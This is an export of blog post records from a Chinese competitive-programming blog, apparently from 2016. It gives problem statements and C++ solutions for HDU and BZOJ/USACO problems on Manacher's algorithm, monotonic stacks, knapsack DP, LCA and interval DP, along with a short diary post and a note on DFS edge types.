先简单说下我对这个算法的理解，等做一些题目以后再来总结一发。 我觉得manachar算法最关键的一点是，如果你枚举回文串的中心位置，当你枚举到i的时候，那么i之前的位置回文串长度的最大值是已经确定的了。 换句话说，后面的中心位置不会影响前面的中心位置的答案。 于是可以利用前面已经做过的匹配来获得一些信息，避免了重复。 不过讲真。。。O(n)的复杂度。。这算法还是相当让人感到震撼的。。。 更具体的部分见代码注释。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月18日 星期一 14时06分59秒 4File Name :code/hdu/3068.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=2E6+999; 33char st[N]; 34int p[2*N]; //p[i]为以第i个位置的字符为中心的回文串的半径长，默认为1. 35 36 37int manachar( char *s) 38{ 39 int len = strlen(s); 40 int id = 0; //id表示之前位置的能延伸到最远位置的字符串的中心位置。 41 int maxlen = 0 ; //maxlen是为了更新答案而用。。。就是记录了一个最大值。。。 42 int mx = 0 ;//mx为当前位置之前的回文串能延伸到的最远位置 即：max(p[j]+j) (j\u003ci) 43 //如果知道之前能延伸到最远位置的字符串的中心位置的下标为id，那么就是p[id]+id; 44 for ( int i = len ; i \u003e= 0 ; i--) //插入'#'是为了将字符串长度奇偶性不同的统一考虑。 45 { 46 s[i+i+2] = s[i]; 47 s[i+i+1] = '#'; 48 } 49 s[0]='*'; //s[0] ='*'以及用字符数组最后默认的s[len+len+2]='\\0'是为了下面while 循环的时候不溢出。。 50 //两边的字符一定要不一样。。用string的话记得两边都加字符。。。 51 for ( int i = 2 ; i \u003c 2*len+1 ; i++) 52 { 53 if (p[id]+id\u003ei) p[i] = min(p[2*id-i],p[id]+id-i); 54 else p[i] = 1; ","date":"2016-04-18","externalUrl":null,"permalink":"/2016/04/hdu-3068/","section":"Posts","summary":"题目链接 题意：求一个字符串中的最长回文串。 思路：昨天武大校赛遇到了一个manacher算法的题。。。我竟然听都没听过。。。","tags":["manacher"],"title":"hdu 3068 最长回文（O(n)求回文串，manacher算法模板题）","type":"post"},{"categories":["随笔杂谈"],"content":"最近各种比赛各种滚粗。。。 武大。。。武科大。。。地大。。。还有在路上的华农以及我科校赛。。。 然而还有10天考试。 然而还有15天要搞定OS大作业，然而我还没开始。 和小可算是彻底闹僵了。。。。虽然完全不懂是怎么回事。。。妹子的心思啊。。。完全搞不懂。。。 就当她只活在我记忆中吧。 明天武大校赛，晚安。","date":"2016-04-16","externalUrl":null,"permalink":"/2016/04/20160416/","section":"Posts","summary":"最近各种比赛各种滚粗。。。 武大。。。武科大。。。地大。。。还有在路上的华农以及我科校赛。。。 然而还有10天考试。 然而还有15天要搞定OS大作业，然而我还没开始。","tags":["算法竞赛"],"title":"20160416","type":"post"},{"categories":["ACM"],"content":"","date":"2016-04-15","externalUrl":null,"permalink":"/2016/04/bzoj-1660-usaco2006-novbad-hair-day--/","section":"Posts","summary":"","tags":["单调栈"],"title":"BZOJ 1660: [Usaco2006 Nov]Bad Hair Day 乱发节 (单调栈)","type":"post"},{"categories":["ACM"],"content":"1657: [Usaco2006 Mar]Mooo 奶牛的歌声 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 634 Solved: 447 [Submit][Status][Discuss] Description # Farmer John’s N (1 \u003c= N \u003c= 50,000) cows are standing in a very straight row and mooing. Each cow has a unique height h in the range 1..2,000,000,000 nanometers (FJ really is a stickler for precision). Each cow moos at some volume v in the range 1..10,000. This “moo” travels across the row of cows in both directions (except for the end cows, obviously). Curiously, it is heard only by the closest cow in each direction whose height is strictly larger than that of the mooing cow (so each moo will be heard by 0, 1 or 2 other cows, depending on not whether or taller cows exist to the mooing cow’s right or left). The total moo volume heard by given cow is the sum of all the moo volumes v for all cows whose mooing reaches the cow. Since some (presumably taller) cows might be subjected to a very large moo volume, FJ wants to buy earmuffs for the cow whose hearing is most threatened. Please compute the loudest moo volume heard by any cow. Farmer John的N(1\u003c=N\u003c=50,000)头奶牛整齐地站成一列“嚎叫”。每头奶牛有一个确定的高度h(1\u003c=h\u003c=2000000000)，叫的音量为v (1\u003c=v\u003c=10000)。每头奶牛的叫声向两端传播，但在每个方向都只会被身高严格大于它的最近的一头奶牛听到，所以每个叫声都只会 被0，1，2头奶牛听到（这取决于它的两边有没有比它高的奶牛）。 一头奶牛听到的总音量为它听到的所有音量之和。自从一些奶牛遭受巨大的音量之后，Farmer John打算买一个耳罩给被残害得最厉 害的奶牛，请你帮他计算最大的总音量。 Input # Line 1: A single integer, N. Lines 2..N+1: Line i+1 contains two space-separated integers, h and v, for the cow standing at location i. 第1行：一个正整数N. 第2到N+1行：每行包括2个用空格隔开的整数，分别代表站在队伍中第i个位置的奶牛的身高以及她唱歌时的音量． Output # Line 1: The loudest moo volume heard by any single cow. 队伍中的奶牛所能听到的最高的总音量． Sample Input # 3 4 2 3 5 6 10 INPUT DETAILS: Three cows: the first one has height 4 and moos with volume 2, etc. Sample Output # 7 HINT # 队伍中的第3头奶牛可以听到第1头和第2头奶牛的歌声，于是","date":"2016-04-15","externalUrl":null,"permalink":"/2016/04/bzoj-1657-usaco2006-marmooo--/","section":"Posts","summary":"1657: [Usaco2006 Mar]Mooo 奶牛的歌声 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 634 Solved: 447 [Submit][Status][Discuss]","tags":["单调栈"],"title":"BZOJ 1657: [Usaco2006 Mar]Mooo 奶牛的歌声 (单调栈)","type":"post"},{"categories":["ACM"],"content":"1656: [Usaco2006 Jan] The Grove 树木 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 143 Solved: 88 [Submit][Status][Discuss] Description # The pasture contains a small, contiguous grove of trees that has no ‘holes’ in the middle of the it. Bessie wonders: how far is it to walk around that grove and get back to my starting position? She’s just sure there is a way to do it by going from her start location to successive locations by walking horizontally, vertically, or diagonally and counting each move as a single step. Just looking at it, she doesn’t think you could pass ’through’ the grove on a tricky diagonal. Your job is to calculate the minimum number of steps she must take. Happily, Bessie lives on a simple world where the pasture is represented by a grid with R rows and C columns (1 \u003c= R \u003c= 50, 1 \u003c= C \u003c= 50). Here’s a typical example where ‘.’ is pasture (which Bessie may traverse), ‘X’ is the grove of trees, ‘’ represents Bessie’s start and end position, and ‘+’ marks one shortest path she can walk to circumnavigate the grove (i.e., the answer): …+… ..+X+.. .+XXX+. ..+XXX+ ..+X..+ …+++ The path shown is not the only possible shortest path; Bessie might have taken a diagonal step from her start position and achieved a similar length solution. Bessie is happy that she’s starting ‘outside’ the grove instead of in a sort of ‘harbor’ that could complicate finding the best path. 牧场里有一片树林，林子里没有坑． 贝茜很想知道，最少需要多少步能围绕树林走一圈，最后回到起点．她能上下左右走，也能走对角线格子．牧场被分成R行C列(1≤R≤50，1≤C≤50)．下面是一张样例的地图，其中“．”表示贝茜可以走的空地， “X”表示树林， “*”表示起点．而贝茜走的最近的路已经特别地用“+”表示出来． 题目保证，最短的路径一定可以找到． Input # Line 1: Two space-separated integers: R and C Lines 2..R+1: Line i+1 describes row i with C characters (with no spaces between them). 第1行输入R和C，接下来R行C列表示一张地图．地图中的符号如题干所述． Output # Line 1: The single line contains a si","date":"2016-04-15","externalUrl":null,"permalink":"/2016/04/bzoj-1656/","section":"Posts","summary":"1656: [Usaco2006 Jan] The Grove 树木 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 143 Solved: 88 [Submit][Status][Discuss]","tags":["bfs","射线法","计算几何"],"title":"BZOJ 1656: [Usaco2006 Jan] The Grove 树木(神奇的bfs之射线法)","type":"post"},{"categories":["ACM"],"content":"3407: [Usaco2009 Oct]Bessie’s Weight Problem 贝茜的体重问题 # Time Limit: 3 Sec Memory Limit: 128 MB Submit: 88 Solved: 79 [Submit][Status][Discuss] Description # 贝茜像她的诸多姊妹一样，因为从约翰的草地吃了太多美味的草而长出了太多的赘肉．所以约翰将她置于一个及其严格的节食计划之中．她每天不能吃多过H(5≤日≤45000)公斤的干草．贝茜只能吃一整捆干草；当她开始吃一捆干草的之后就再也停不下来了．她有一个完整 的N(1≤N≤500)捆可以给她当作晚餐的干草的清单．她自然想要尽量吃到更多的干草．很自然地，每捆干草只能被吃一次（即使在列表中相同的重量可能出现2次，但是这表示的是两捆干草，其中每捆干草最多只能被吃掉一次）． 给定一个列表表示每捆干草的重量Si(1≤Si≤H)，求贝茜不超过节食的限制的前提下可以吃掉多少干草（注意一旦她开始吃一捆干草就会把那一捆干草全部吃完）． Input # 第1行：两个由空格隔开的整数日和N. 第2到第N+1行：第i+l行是一个单独的整数，表示第i捆干草的重量Si． Output # 一个单独的整数表示贝茜在限制范围内最多可以吃多少公斤的干草． Sample Input # 56 4 15 19 20 21 Sample Output # 56 HINT # 有四捆草，重量分别是15，19，20和21.贝茜在56公斤的限制范围内想要吃多少就可以吃多少． 贝茜可以吃3捆干草（重量分别为15，20，21）．恰好达到她的56公斤的限制． `` 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月14日 星期四 19时33分09秒 4File Name :code/bzoj/3407.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E4+7; 34int n,V; 35int a[505]; 36int dp[N]; 37 38void solve ( int cost,int val) 39{ 40 for ( int i = V ; i \u003e= cost ; i--) 41 dp[i] = max(dp[i],dp[i-cost]+val); 42} 43int main() 44{ 45 #ifndef ONLINE_JUDGE 46 freopen(\"code/in.txt\",\"r\",stdin); 47 #endif 48 49 scanf(\"%d %d\",\u0026V,\u0026n); ","date":"2016-04-14","externalUrl":null,"permalink":"/2016/04/bzoj-3407/","section":"Posts","summary":"3407: [Usaco2009 Oct]Bessie’s Weight Problem 贝茜的体重问题 # Time Limit: 3 Sec Memory Limit: 128 MB Submit: 88 Solved: 79 [Submit][Status][Discuss]","tags":["01背包"],"title":"BZOJ 3407: [Usaco2009 Oct]Bessie's Weight Problem 贝茜的体重问题(01背包)","type":"post"},{"categories":["ACM"],"content":"1655: [Usaco2006 Jan] Dollar Dayz 奶牛商店 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 353 Solved: 190 [Submit][Status][Discuss] Description # Farmer John goes to Dollar Days at The Cow Store and discovers an unlimited number of tools on sale. During his first visit, the tools are selling variously for $1, $2, and $3. Farmer John has exactly $5 to spend. He can buy 5 tools at $1 each or 1 tool at $3 and an additional 1 tool at $2. Of course, there are other combinations for a total of 5 different ways FJ can spend all his money on tools. Here they are: 1 @ US$3 + 1 @ US$2 1 @ US$3 + 2 @ US$1 1 @ US$2 + 3 @ US$1 2 @ US$2 + 1 @ US$1 5 @ US$1 Write a program than will compute the number of ways FJ can spend N dollars (1 \u003c= N \u003c= 1000) at The Cow Store for tools on sale with a cost of $1..$K (1 \u003c= K \u003c= 100). 约翰到奶牛商场里买工具．商场里有K(1≤K≤100).种工具，价格分别为1，2，…，K美元．约翰手里有N(1≤N≤1000)美元，必须花完．那他有多少种购买的组合呢？ Input # A single line with two space-separated integers: N and K. 仅一行，输入N，K. Output # A single line with a single integer that is the number of unique ways FJ can spend his money. 不同的购买组合数． Sample Input # 5 3 Sample Output # 5 思路：母函数裸题，还卡个高精度。。差评。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月14日 星期四 16时42分31秒 4File Name :code/bzoj/1655.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28usi","date":"2016-04-14","externalUrl":null,"permalink":"/2016/04/bzoj1655/","section":"Posts","summary":"1655: [Usaco2006 Jan] Dollar Dayz 奶牛商店 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 353 Solved: 190 [Submit][Status][Discuss]","tags":["母函数","高精度"],"title":"BZOJ 1655: [Usaco2006 Jan] Dollar Dayz 奶牛商店 (母函数，高精度)","type":"post"},{"categories":["ACM"],"content":"1653: [Usaco2006 Feb]Backward Digit Sums # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 349 Solved: 258 [Submit][Status][Discuss] Description # FJ and his cows enjoy playing a mental game. They write down the numbers from 1 to N (1 \u003c= N \u003c= 10) in a certain order and then sum adjacent numbers to produce a new list with one fewer number. They repeat this until only a single number is left. For example, one instance of the game (when N=4) might go like this: 3 1 2 4 4 3 6 7 9 16 Behind FJ’s back, the cows have started playing a more difficult game, in which they try to determine the starting sequence from only the final total and the number N. Unfortunately, the game is a bit above FJ’s mental arithmetic capabilities. Write a program to help FJ play the game and keep up with the cows. Input # Line 1: Two space-separated integers: N and the final sum. Output # Line 1: An ordering of the integers 1..N that leads to the given sum. If there are multiple solutions, choose the one that is lexicographically least, i.e., that puts smaller numbers first. Sample Input # 4 16 Sample Output # 3 1 2 4OUTPUT DETAILS: There are other possible sequences, such as 3 2 1 4, but 3 1 2 4 is the lexicographically smallest. 思路：n很小。。一开始做得时候把公式推错了。。3+3算成了4.我的内心是崩溃的。。 其实直接暴力就好。可以用next_permutation来生成全排列，然后判断是否合法。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月12日 星期二 10时54分23秒 4File Name :code/bzoj/1653.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c","date":"2016-04-14","externalUrl":null,"permalink":"/2016/04/bzoj1653/","section":"Posts","summary":"1653: [Usaco2006 Feb]Backward Digit Sums # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 349 Solved: 258 [Submit][Status][Discuss]","tags":["brute force","stl"],"title":"BZOJ 1653: [Usaco2006 Feb]Backward Digit Sums(暴力)","type":"post"},{"categories":["其他"],"content":"1#include \u003ciostream\u003e 2#include \u003cvector\u003e 3#include \u003ccstring\u003e 4#include \u003cset\u003e 5#include \u003calgorithm\u003e 6#include \u003ccstdio\u003e 7 8using namespace std; 9const int N=1E4+7; 10int n,k,Q; 11int siz; 12int pos[N]; 13int sum[N]; 14int dis[N]; 15bool vis[N]; 16vector \u003c pair\u003cint,int\u003e \u003e edge[N]; 17 18struct node 19{ 20 int l,r; 21 int id; 22 23 bool operator \u003c (node b)const 24 { 25 if (pos[l]==pos[b.l]) return r\u003cb.r; 26 return pos[l]\u003cpos[b.l]; 27 } 28 29 30}q[N]; 31 32 33void dfs( int u,int val) 34{ 35 vis[u] = true; 36 dis[u+1] = val; 37 38 int Siz = edge[u].size(); 39 for ( int i = 0 ; i \u003c Siz ; i ++) 40 { 41 int v = edge[u][i].first; 42 43 if (!vis[v]) 44 { 45 dfs(v,val+edge[u][i].second); 46 } 47 } 48} 49int main() 50{ 51 52 freopen(\"in.txt\",\"r\",stdin); 53 siz = 100; 54 for ( int i = 0 ; i \u003c 10000 ; i++) pos[i] = i/siz; 55 while (scanf(\"%d %d %d\",\u0026n,\u0026k,\u0026Q)!=EOF) 56 { 57 memset(vis,false,sizeof(vis)); 58 memset(dis,0,sizeof(dis)); 59 memset(sum,0,sizeof(sum)); 60 for ( int i = 1 ;i \u003c n ; i++) 61 { 62 int u = i; 63 int v = i/k; 64 edge[u].push_back(make_pair(v,i)); 65 edge[v].push_back(make_pair(u,i)); 66 } 67 68 for ( int i = 1 ;i \u003c= Q ; i++) 69 { 70 scanf(\"%d %d\",\u0026q[i].l,\u0026q[i].r); 71 q[i].id = i; 72 } 73 74 sort(q+1,q+Q+1); 75 76 dfs(0,0); 77 for ( int i = 1 ; i \u003c= n ; i++) sum[i] = sum[i-1]+dis[i]; 78 } 79}","date":"2016-04-13","externalUrl":null,"permalink":"/2016/04/tmp/","section":"Posts","summary":"1#include \u003ciostream\u003e 2#include \u003cvector\u003e 3#include \u003ccstring\u003e 4#include \u003cset\u003e 5#include \u003calgorithm\u003e 6#include \u003ccstdio\u003e 7 8using namespace std; 9const int N=1E4+7; 10int n,k,Q; 11int siz; 12int pos[N]; 13int sum[N]; 14int dis[N]; 15bool vis[N]; 16vector \u003c pair\u003cint,int\u003e \u003e edge[N]; 17 18struct node 19{ 20 int l,r; 21 int id; 22 23 bool operator \u003c (node b)const 24 { 25 if (pos[l]==pos[b.l]) return r\u003cb.r; 26 return pos[l]\u003cpos[b.l]; 27 } 28 29 30}q[N]; 31 32 33void dfs( int u,int val) 34{ 35 vis[u] = true; 36 dis[u+1] = val; 37 38 int Siz = edge[u].size(); 39 for ( int i = 0 ; i \u003c Siz ; i ++) 40 { 41 int v = edge[u][i].first; 42 43 if (!vis[v]) 44 { 45 dfs(v,val+edge[u][i].second); 46 } 47 } 48} 49int main() 50{ 51 52 freopen(\"in.txt\",\"r\",stdin); 53 siz = 100; 54 for ( int i = 0 ; i \u003c 10000 ; i++) pos[i] = i/siz; 55 while (scanf(\"%d %d %d\",\u0026n,\u0026k,\u0026Q)!=EOF) 56 { 57 memset(vis,false,sizeof(vis)); 58 memset(dis,0,sizeof(dis)); 59 memset(sum,0,sizeof(sum)); 60 for ( int i = 1 ;i \u003c n ; i++) 61 { 62 int u = i; 63 int v = i/k; 64 edge[u].push_back(make_pair(v,i)); 65 edge[v].push_back(make_pair(u,i)); 66 } 67 68 for ( int i = 1 ;i \u003c= Q ; i++) 69 { 70 scanf(\"%d %d\",\u0026q[i].l,\u0026q[i].r); 71 q[i].id = i; 72 } 73 74 sort(q+1,q+Q+1); 75 76 dfs(0,0); 77 for ( int i = 1 ; i \u003c= n ; i++) sum[i] = sum[i-1]+dis[i]; 78 } 79}","tags":["算法竞赛"],"title":"tmp","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：一棵树，给出n-1个边权，然后q组查询，每组查询询问两个点之间的距离。 思路： dfs跑出根到每个点的距离，设为dis[i] 那么u,v两点的距离就是ans = dis[u]+dis[v]-2*dis[lca(u,v)]; 其中lca(u,v)为u,v的最近公共祖先。 这个式子是利用容斥，其实也很直观。。不理解的话画个图就好。 所以终点就是求两个点的LCA. 据说有好多种做法。今天学习了大概是最简单的一种？ 学习链接 1//parent为并查集，FIND为并查集的查找操作 2//QUERY为询问结点对集合 3//TREE为基图有根树 4 Tarjan(u) 5 visit[u] = true 6 for each (u, v) in TREE 7 if !visit[v] 8 Tarjan(v) 9 parent[v] = u 10 for each (u, v) in QUERY 11 if visit[v] 12 ans(u, v) = FIND(v) 我的理解：其实本质就是利用并查集。。在访问一个点的子树的时候，这个点其所有子树的祖先。。。由于祖先的节点比较小，所以merge的时候要f[大]=小… 要注意Tarjan 算法是离线算法。 哦对了。。这题要扩展语句才能过，不然会RE… 1#pragma comment(linker, \"/STACK:1024000000,1024000000\") 2 3 4 5 6 7 8 9 10/* *********************************************** 11Author :111qqz 12Created Time :2016年04月12日 星期二 19时39分38秒 13File Name :code/hdu/2586.cpp 14************************************************ */ 15#pragma comment(linker, \"/STACK:1024000000,1024000000\") 16#include \u003ccstdio\u003e 17#include \u003ccstring\u003e 18#include \u003ciostream\u003e 19#include \u003calgorithm\u003e 20#include \u003cvector\u003e 21#include \u003cqueue\u003e 22#include \u003cset\u003e 23#include \u003cmap\u003e 24#include \u003cstring\u003e 25#include \u003ccmath\u003e 26#include \u003ccstdlib\u003e 27#include \u003cctime\u003e 28#define fst first 29#define sec second 30#define lson l,m,rt\u003c\u003c1 31#define rson m+1,r,rt\u003c\u003c1|1 32#define ms(a,x) memset(a,x,sizeof(a)) 33typedef long long LL; 34#define pi pair \u003c int ,int \u003e 35#define MP make_pair 36 37using namespace std; 38const double eps = 1E-8; 39const int dx4[4]={1,0,0,-1}; 40const int dy4[4]={0,-1,1,0}; 41const int inf = 0x3f3f3f3f; 42const int N = 4E4+7; 43int n,q; 44vector \u003c pi \u003e edge[N]; 45vector \u003c pi \u003equery[N]; 46bool vis[N]; 47int f[N]; 48int ans[N]; 49int dis[N]; 50void init() 51{ 52 for ( int i = 1 ; i \u003c= n ; i++) edge[i].clear(); 53 for ( int i = 1 ; i \u003c= q ; i++) query[i].clear(); 54 ms(vis,false); 55 for ( int i = 1 ; i \u003c= n ; i++) f","date":"2016-04-12","externalUrl":null,"permalink":"/2016/04/hdu2586/","section":"Posts","summary":"题目链接 题意：一棵树，给出n-1个边权，然后q组查询，每组查询询问两个点之间的距离。 思路：","tags":["LCA","Tarjan"],"title":"hdu 2586 How far away ？ (tarjan算法求LCA模板题)","type":"post"},{"categories":["ACM"],"content":"转载自： 原文链接 树边，前向边，后向边，横叉边，应该说，不是一个图本身有的概念，应该是图进行DFS时才有的概念。图进行DFS会得到一棵DFS树（森林），在这个树上才有了这些概念。对图进行DFS，可以从任意的顶点开始，遍历的方式也是多样的，所以不同的遍历会得到不同的DFS树，进而产生不同的树边，前向边，后向边，横叉边。所以这4种边，是一个相对的概念。 在图的遍历中，往往设置了一个标记数组vis的bool值来记录顶点是否被访问过。但有些时候需要改变vis值的意义。令vis具有3种值并表示3种不同含义 vis = 0,表示该顶点没没有被访问 vis = 1,表示该顶点已经被访问，但其子孙后代还没被访问完，也就没从该点返回 vis = 2,，表示该顶点已经被访问，其子孙后代也已经访问完，也已经从该顶点返回 可以vis的3种值表示的是一种顺序关系和时间关系 《算法导论》334页有这4种边的准确定义，在此不累述 DFS过程中，对于一条边u-\u003ev vis[v] = 0,说明v还没被访问，v是首次被发现，u-\u003ev是一条树边 vis[v] = 1,说明v已经被访问，但其子孙后代还没有被访问完（正在访问中），而u又指向v？说明u就是v的子孙后代，u-\u003ev是一条后向边，因此后向边又称返祖边 vis[v] = 3,z说明v已经被访问，其子孙后代也已经全部访问完，u-\u003ev这条边可能是一条横叉边，或者前向边 注意：树边，后向边，前向边，都有祖先，后裔的关系，但横叉边没有，u-\u003ev为横叉边，说明在这棵DFS树中，它们不是祖先后裔的关系它们可能是兄弟关系，堂兄弟关系，甚至更远的关系，如果是dfs森林的话，u和v甚至可以在不同的树上 在很多算法中，后向边都是有作用的，但是前向边和横叉边的作用往往被淡化，其实它们没有太大作用。","date":"2016-04-12","externalUrl":null,"permalink":"/2016/04/%e6%a0%91%e8%be%b9%ef%bc%8c%e5%89%8d%e5%90%91%e8%be%b9%ef%bc%8c%e5%90%8e%e5%90%91%e8%be%b9%ef%bc%8c%e6%a8%aa%e5%8f%89%e8%be%b9/","section":"Posts","summary":"转载自： 原文链接 树边，前向边，后向边，横叉边，应该说，不是一个图本身有的概念，应该是图进行DFS时才有的概念。图进行DFS会得到一棵DFS树（森林），在这个树上才有了这些概念。对图进行DFS，可以从任意的顶点开始，遍历的方式也是多样的，所以不同的遍历会得到不同的DFS树，进而产生不同的树边，前向边，后向边，横叉边。所以这4种边，是一个相对的概念。 在图的遍历中，往往设置了一个标记数组vis的bool值来记录顶点是否被访问过。但有些时候需要改变vis值的意义。令vis具有3种值并表示3种不同含义 vis = 0,表示该顶点没没有被访问 vis = 1,表示该顶点已经被访问，但其子孙后代还没被访问完，也就没从该点返回 vis = 2,，表示该顶点已经被访问，其子孙后代也已经访问完，也已经从该顶点返回 可以vis的3种值表示的是一种顺序关系和时间关系","tags":["图论"],"title":"树边，前向边，后向边，横叉边","type":"post"},{"categories":["ACM"],"content":"1652: [Usaco2006 Feb]Treats for the Cows # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 290 Solved: 226 [Submit][Status][Discuss] Description # FJ has purchased N (1 \u003c= N \u003c= 2000) yummy treats for the cows who get money for giving vast amounts of milk. FJ sells one treat per day and wants to maximize the money he receives over a given period time. The treats are interesting for many reasons: * The treats are numbered 1..N and stored sequentially in single file in a long box that is open at both ends. On any day, FJ can retrieve one treat from either end of his stash of treats. * Like fine wines and delicious cheeses, the treats improve with age and command greater prices. * The treats are not uniform: some are better and have higher intrinsic value. Treat i has value v(i) (1 \u003c= v(i) \u003c= 1000). * Cows pay more for treats that have aged longer: a cow will pay v(i)*a for a treat of age a. Given the values v(i) of each of the treats lined up in order of the index i in their box, what is the greatest value FJ can receive for them if he orders their sale optimally? The first treat is sold on day 1 and has age a=1. Each subsequent day increases the age by 1. 约翰经常给产奶量高的奶牛发特殊津贴，于是很快奶牛们拥有了大笔不知该怎么花的钱．为此，约翰购置了N(1≤N≤2000)份美味的零食来卖给奶牛们．每天约翰售出一份零食．当然约翰希望这些零食全部售出后能得到最大的收益．这些零食有以下这些有趣的特性： •零食按照1．．N编号，它们被排成一列放在一个很长的盒子里．盒子的两端都有开口，约翰每 天可以从盒子的任一端取出最外面的一个． •与美酒与好吃的奶酪相似，这些零食储存得越久就越好吃．当然，这样约翰就可以把它们卖出更高的价钱． •每份零食的初始价值不一定相同．约翰进货时，第i份零食的初始价值为Vi(1≤Vi≤1000)． •第i份零食如果在被买进后的第a天出售，则它的售价是vi×a． Vi的是从盒子顶端往下的第i份零食的初始价值．约翰告诉了你所有零食的初始价值，并希望你能帮他计算一下，在这些零食全被卖出后，他最多能得到多少钱． Input # Line 1: A single integer, N * Lines 2..N+1: Line i+1 contains the value of treat v(i) Output # Line 1: The maximum revenue FJ can achieve by selling the treats Sample Input # 5 1 3 1 5 2 Five treats. On the first day FJ can sell eithe","date":"2016-04-12","externalUrl":null,"permalink":"/2016/04/bzoj-1652/","section":"Posts","summary":"1652: [Usaco2006 Feb]Treats for the Cows # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 290 Solved: 226 [Submit][Status][Discuss]","tags":["区间dp"],"title":"BZOJ 1652: [Usaco2006 Feb]Treats for the Cows (区间dp)","type":"post"},{"categories":["ACM"],"content":"1651: [Usaco2006 Feb]Stall Reservations 专用牛棚 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 700 Solved: 393 [Submit][Status][Discuss] Description # Oh those picky N (1 \u003c= N \u003c= 50,000) cows! They are so picky that each one will only be milked over some precise time interval A..B (1 \u003c= A \u003c= B \u003c= 1,000,000), which includes both times A and B. Obviously, FJ must create a reservation system to determine which stall each cow can be assigned for her milking time. Of course, no cow will share such a private moment with other cows. Help FJ by determining: * The minimum number of stalls required in the barn so that each cow can have her private milking period * An assignment of cows to these stalls over time 有N头牛,每头牛有个喝水时间,这段时间它将专用一个Stall 现在给出每头牛的喝水时间段,问至少要多少个Stall才能满足它们的要求 Input # Line 1: A single integer, N Lines 2..N+1: Line i+1 describes cow i’s milking interval with two space-separated integers. Output # Line 1: The minimum number of stalls the barn must have. Lines 2..N+1: Line i+1 describes the stall to which cow i will be assigned for her milking period. Sample Input # 5 1 10 2 4 3 6 5 8 4 7 Sample Output # 4 OUTPUT DETAILS: Here’s a graphical schedule for this output: Time 1 2 3 4 5 6 7 8 9 10 Stall 1 c1»»»»»»»»»»»»»\u003e Stall 2 .. c2»»» c4»»»»\u003e .. .. Stall 3 .. .. c3»»»»\u003e .. .. .. .. Stall 4 .. .. .. c5»»»»\u003e .. .. .. Other outputs using the same number of stalls are possible. HINT # 不妨试下这个数据,对于按结束点SORT,再GREEDY的做法 1 3 5 7 6 9 10 11 8 12 4 13 正确的输出应该是3 思路:求所有点中的最大的厚度就是答案。前缀和搞之。1A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月11日 星期一 20时15分13秒 4File Name :code/bzoj/1651.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e","date":"2016-04-11","externalUrl":null,"permalink":"/2016/04/bzoj1651/","section":"Posts","summary":"1651: [Usaco2006 Feb]Stall Reservations 专用牛棚 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 700 Solved: 393 [Submit][Status][Discuss]","tags":["前缀和"],"title":"BZOJ 1651: [Usaco2006 Feb]Stall Reservations 专用牛棚 (前缀和)","type":"post"},{"categories":["ACM"],"content":"1650: [Usaco2006 Dec]River Hopscotch 跳石子 # Time Limit: 